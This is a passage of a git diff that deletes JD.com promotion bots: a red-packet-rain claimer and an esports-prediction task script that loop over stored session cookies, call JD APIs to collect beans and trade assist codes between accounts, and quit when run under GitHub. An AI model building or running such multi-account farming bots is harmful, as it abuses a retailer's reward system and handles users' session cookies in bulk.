e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t){let e={"M+":(new Date).getMonth()+1,"d+":(new Date).getDate(),"H+":(new Date).getHours(),"m+":(new Date).getMinutes(),"s+":(new Date).getSeconds(),"q+":Math.floor(((new Date).getMonth()+3)/3),S:(new Date).getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,((new Date).getFullYear()+"").substr(4-RegExp.$1.length)));for(let s in e)new RegExp("("+s+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?e[s]:("00"+e[s]).substr((""+e[s]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============\ud83d\udce3\u7cfb\u7edf\u901a\u77e5\ud83d\udce3=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`\u2757\ufe0f${this.name}, \u9519\u8bef!`,t.stack):this.log("",`\u2757\ufe0f${this.name}, \u9519\u8bef!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`\ud83d\udd14${this.name}, \u7ed3\u675f! \ud83d\udd5b ${s} \u79d2`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/backUp/jd_live_redrain.js b/backUp/jd_live_redrain.js deleted file mode 100644 index 9654799..0000000 --- a/backUp/jd_live_redrain.js +++ /dev/null @@ -1,359 +0,0 @@ -/* -超级直播间红包雨 -更新时间:2021-06-24 -下一场超级直播间时间:06月25日 20:00,直播间地址:https://h5.m.jd.com/dev/3pbY8ZuCx4ML99uttZKLHC2QcAMn/live.html?id=4515551 -脚本兼容: Quantumult X, Surge, Loon, JSBox, Node.js -==============Quantumult X============== -[task_local] -#超级直播间红包雨 -0,30 0-23/1 * * * jd_live_redrain.js, tag=超级直播间红包雨, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true - -==============Loon============== -[Script] -cron "0,30 0-23/1 * * *" script-path=jd_live_redrain.js,tag=超级直播间红包雨 - -================Surge=============== -超级直播间红包雨 = type=cron,cronexp="0,30 0-23/1 * * *",wake-system=1,timeout=3600,script-path=jd_live_redrain.js - -===============小火箭========== -超级直播间红包雨 = type=cron,script-path=jd_live_redrain.js, cronexpr="0,30 0-23/1 * * *", timeout=3600, enable=true -*/ -const $ = new Env('超级直播间红包雨'); -let allMessage = '', id = 'RRA2cUocg5uYEyuKpWNdh4qE4NW1bN2'; -let bodyList = {"6":{"url":"https://api.m.jd.com/client.action?functionId=liveActivityV946&uuid=8888888&client=apple&clientVersion=9.4.1&st=1625294597071&sign=55a8f9c9bc715d89fb3e4443b80d8f26&sv=111","body":"body=%7B%22liveId%22%3A%224586031%22%7D"}} -let ids = {} -for (let i = 0; i < 24; i++) { - ids[i] = id; -} -const notify = $.isNode() ? require('./sendNotify') : ''; -//Node.js用户请在jdCookie.js处填写京东ck; -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -//IOS等用户直接用NobyDa的jd cookie -let cookiesArr = [], cookie = '', message; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; - if (JSON.stringify(process.env).indexOf('GITHUB') > -1) process.exit(0) -} else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); -} -const JD_API_HOST = 'https://api.m.jd.com/api'; -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', {"open-url": "https://bean.m.jd.com/"}); - return; - } - console.log('下一场超级直播间时间:06月25日 20:00,直播间地址:https://h5.m.jd.com/dev/3pbY8ZuCx4ML99uttZKLHC2QcAMn/live.html?id=4508223') - $.newAcids = []; - await getRedRain(); - - let nowTs = new Date().getTime() - if (!($.st <= nowTs && nowTs < $.ed)) { - $.log(`\n远程红包雨配置获取错误,尝试从本地读取配置`); - $.http.get({url: `https://purge.jsdelivr.net/gh/gitupdate/updateTeam@master/redrain.json`}).then((resp) => {}).catch((e) => $.log('刷新CDN异常', e)); - let hour = (new Date().getUTCHours() + 8) % 24; - let redIds = await getRedRainIds(); - if (!redIds) redIds = await getRedRainIds('https://cdn.jsdelivr.net/gh/gitupdate/updateTeam@master/redrain.json'); - $.newAcids = [...(redIds || [])]; - if ($.newAcids && $.newAcids.length) { - $.log(`本地红包雨配置获取成功,ID为:${JSON.stringify($.newAcids)}\n`) - } else { - $.log(`无法从本地读取配置,请检查运行时间(注:非红包雨时间执行出现此提示请忽略!!!!!!!!!!!)`) - return - } - // if (ids[hour]) { - // $.activityId = ids[hour] - // $.log(`本地红包雨配置获取成功,ID为:${$.activityId}\n`) - // } else { - // $.log(`无法从本地读取配置,请检查运行时间(注:非红包雨时间执行出现此提示请忽略!!!!!!!!!!!)`) - // $.log(`非红包雨期间出现上面提示请忽略。红包雨期间会正常,此脚本提issue打死!!!!!!!!!!!)`) - // return - // } - } else { - $.log(`远程红包雨配置获取成功`) - } - for (let id of $.newAcids) { - // $.activityId = id; - if (!id) continue; - console.log(`\n今日${new Date().getHours()}点ID:${id - }\n`); - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i]; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - $.isLogin = true; - $.nickName = ''; - message = ''; - await TotalBean(); - console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/`, {"open-url": "https://bean.m.jd.com/"}); - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue - } - let nowTs = new Date().getTime() + new Date().getTimezoneOffset() * 60 * 1000 + 8 * 60 * 60 * 1000 - // console.log(nowTs, $.startTime, $.endTime) - // await showMsg(); - if (id) await receiveRedRain(id); - } - } - } - if (allMessage) { - if ($.isNode()) await notify.sendNotify(`${$.name}`, `${allMessage}`); - $.msg($.name, '', allMessage); - } -})() - .catch((e) => { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') - }) - .finally(() => { - $.done(); - }) - -function showMsg() { - return new Promise(resolve => { - $.msg($.name, '', `【京东账号${$.index}】${$.nickName}\n${message}`); - resolve() - }) -} - -function getRedRain() { - let body - if (bodyList.hasOwnProperty(new Date().getDate())) { - body = bodyList[new Date().getDate()] - } else { - return - } - return new Promise(resolve => { - $.post(taskGetUrl(body.url, body.body), (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data.data && data.data.iconArea) { - // console.log(data.data.iconArea.filter(vo => vo['type'] === 'anchor_darw_lottery').length && data.data.iconArea.filter(vo => vo['type'] === 'anchor_darw_lottery')[0].data.lotteryId) - let act = data.data.iconArea.filter(vo => vo['type'] === "platform_red_packege_rain")[0] - if (act) { - let url = act.data.activityUrl - $.activityId = url.substr(url.indexOf("id=") + 3); - $.newAcids.push($.activityId); - $.st = act.startTime - $.ed = act.endTime - console.log($.activityId) - - console.log(`下一场红包雨开始时间:${new Date($.st)}`) - console.log(`下一场红包雨结束时间:${new Date($.ed)}`) - } else { - console.log(`\n暂无超级直播间红包雨`) - } - } else { - console.log(`\n暂无超级直播间红包雨`) - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -function receiveRedRain(actId) { - return new Promise(resolve => { - const body = { actId }; - $.get(taskUrl('noahRedRainLottery', body), (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data.subCode === '0') { - console.log(`领取成功,获得${JSON.stringify(data.lotteryResult)}`) - // message+= `领取成功,获得${JSON.stringify(data.lotteryResult)}\n` - message += `领取成功,获得 ${(data.lotteryResult.jPeasList[0].quantity)}京豆` - allMessage += `京东账号${$.index}${$.nickName || $.UserName}\n领取成功,获得 ${(data.lotteryResult.jPeasList[0].quantity)}京豆${$.index !== cookiesArr.length ? '\n\n' : ''}`; - } else if (data.subCode === '8') { - console.log(`领取失败:本场已领过`) - message += `领取失败,本场已领过`; - } else { - console.log(`异常:${JSON.stringify(data)}`) - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -function taskGetUrl(url, body) { - return { - url: url, - body: body, - headers: { - "Accept": "*/*", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - "Content-Type": "application/x-www-form-urlencoded", - "Host": "api.m.jd.com", - "Referer": `https://h5.m.jd.com/active/redrain/index.html?id=${$.activityId}&lng=0.000000&lat=0.000000&sid=&un_area=`, - "Cookie": cookie, - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") - } - } -} - -function taskPostUrl(function_id, body = body) { - return { - url: `https://api.m.jd.com/client.action?functionId=${function_id}`, - body: body, - headers: { - 'Host': 'api.m.jd.com', - 'content-type': 'application/x-www-form-urlencoded', - 'accept': '*/*', - 'user-agent': 'JD4iPhone/167408 (iPhone; iOS 14.2; Scale/3.00)', - 'accept-language': 'zh-Hans-JP;q=1, en-JP;q=0.9, zh-Hant-TW;q=0.8, ja-JP;q=0.7, en-US;q=0.6', - //"Cookie": cookie, - } - } -} - -function taskUrl(function_id, body = {}) { - return { - url: `${JD_API_HOST}?functionId=${function_id}&body=${escape(JSON.stringify(body))}&client=wh5&clientVersion=1.0.0&_=${new Date().getTime() + new Date().getTimezoneOffset() * 60 * 1000 + 8 * 60 * 60 * 1000}`, - headers: { - "Accept": "*/*", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - "Content-Type": "application/x-www-form-urlencoded", - "Host": "api.m.jd.com", - "Referer": `https://h5.m.jd.com/active/redrain/index.html?id=${$.activityId}&lng=0.000000&lat=0.000000&sid=&un_area=`, - "Cookie": cookie, - "User-Agent": "JD4iPhone/9.4.5 CFNetwork/1209 Darwin/20.2.0" - } - } -} - -function getRedRainIds(url = "https://raw.githubusercontent.com/gitupdate/updateTeam/master/redrain.json") { - return new Promise(async resolve => { - const options = { - url: `${url}?${new Date()}`, "timeout": 10000, headers: { - "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" - } - }; - if ($.isNode() && process.env.TG_PROXY_HOST && process.env.TG_PROXY_PORT) { - const tunnel = require("tunnel"); - const agent = { - https: tunnel.httpsOverHttp({ - proxy: { - host: process.env.TG_PROXY_HOST, - port: process.env.TG_PROXY_PORT * 1 - } - }) - } - Object.assign(options, { agent }) - } - $.get(options, async (err, resp, data) => { - try { - if (err) { - } else { - if (data) data = JSON.parse(data) - } - } catch (e) { - // $.logErr(e, resp) - } finally { - resolve(data); - } - }) - await $.wait(10000) - resolve([]); - }) -} - -function TotalBean() { - return new Promise(async resolve => { - const options = { - "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, - "headers": { - "Accept": "application/json,text/plain, */*", - "Content-Type": "application/x-www-form-urlencoded", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - "Cookie": cookie, - "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") - } - } - $.post(options, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (data) { - data = JSON.parse(data); - if (data['retcode'] === 13) { - $.isLogin = false; //cookie过期 - return - } - if (data['retcode'] === 0) { - $.nickName = (data['base'] && data['base'].nickname) || $.UserName; - } else { - $.nickName = $.UserName - } - } else { - console.log(`京东服务器返回空数据`) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -function safeGet(data) { - try { - if (typeof JSON.parse(data) == "object") { - return true; - } - } catch (e) { - console.log(e); - console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); - return false; - } -} - -function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, '', '不要在BoxJS手动复制粘贴修改cookie') - return []; - } - } -} -// prettier-ignore -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/backUp/jd_lol.js b/backUp/jd_lol.js deleted file mode 100644 index 79dbd99..0000000 --- a/backUp/jd_lol.js +++ /dev/null @@ -1,226 +0,0 @@ -/** - 电竞预言家瓜分京豆,链接: u.jd.com/3wyVFhp - 必须得做完任务才能参与竞猜,有加购,没开卡,参与竞猜后,如果猜对了,第二天可以瓜分京豆(蚊子腿。。。) - 暂时还有24号和25号 2场,,, - cron 23 10,11 * * * https://raw.githubusercontent.com/star261/jd/main/scripts/jd_lol.js - 环境变量:ANSWERCODE, 选择哪一个队伍,默认随机; 例:ANSWERCODE="A" 选择第一个队伍,ANSWERCODE="B" 选择第二个队伍 - PS:只有押对队伍才能在第二天瓜分豆子。如果觉得哪个队伍胜率大,可以自己修改环境变量,梭哈一个队伍 - */ -const $ = new Env('电竞预言家'); -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -const notify = $.isNode() ? require('./sendNotify') : ''; -let cookiesArr = []; -// 环境变量:ANSWERCODE, 选择哪一个队伍,默认随机; 例:ANSWERCODE="A" 选择第一个队伍,ANSWERCODE="B" 选择第二个队伍 -let answerCode = $.isNode() ? (process.env.ANSWERCODE ? process.env.ANSWERCODE : `999`):`999`; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { - }; -} else { - cookiesArr = [ - $.getdata("CookieJD"), - $.getdata("CookieJD2"), - ...$.toObj($.getdata("CookiesJD") || "[]").map((item) => item.cookie)].filter((item) => !!item); -} -let shareList = []; -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - return; - } - if(Date.now() > '1636560000000'){ - console.log(`活动已结束`); - return ; - } - const promiseArr = cookiesArr.map((ck, index) => main(ck)); - await Promise.all(promiseArr); - console.log(JSON.stringify(shareList)); - if(shareList.length === 0){return;} - let allShareList = []; - for (let i = 0; i < cookiesArr.length; i++) { - let cookie = cookiesArr[i]; - let userName = decodeURIComponent(cookie.match(/pt_pin=(.+?);/) && cookie.match(/pt_pin=(.+?);/)[1]); - for (let j = 0; j < shareList.length; j++) { - if(shareList[j].user === userName){ - allShareList.push(shareList[j]); - break; - } - } - } - for (let i = 0; i < cookiesArr.length; i++) { - let cookie = cookiesArr[i]; - let userName = decodeURIComponent(cookie.match(/pt_pin=(.+?);/) && cookie.match(/pt_pin=(.+?);/)[1]); - let canHelp = true; - let helpTime = 0; - for (let j = 0; j < allShareList.length && canHelp && helpTime < 5; j++) { - let oneCodeInfo = allShareList[j]; - if(oneCodeInfo.user === userName || oneCodeInfo.need === 0){ - continue; - } - console.log(`${userName}去助力:${oneCodeInfo.user},助力码:${oneCodeInfo.code}`); - let doSupport = await takeRequest(cookie,`appid=china-joy&functionId=champion_game_prod&body={"shareId":"${oneCodeInfo.code}","apiMapping":"/api/doSupport"}&t=${Date.now()}&loginType=2`); - if(doSupport.status === 7){ - console.log(`助力成功`); - oneCodeInfo.need--; - helpTime++; - }else if(doSupport.status === 5){ - console.log(`助力次数已用完`); - canHelp=false; - } - console.log(`助力结果:${JSON.stringify(doSupport)}`); - await $.wait(2000); - } - } -})().catch((e) => { - $.log('', `❌ ${$.name}, 失败! 原因: 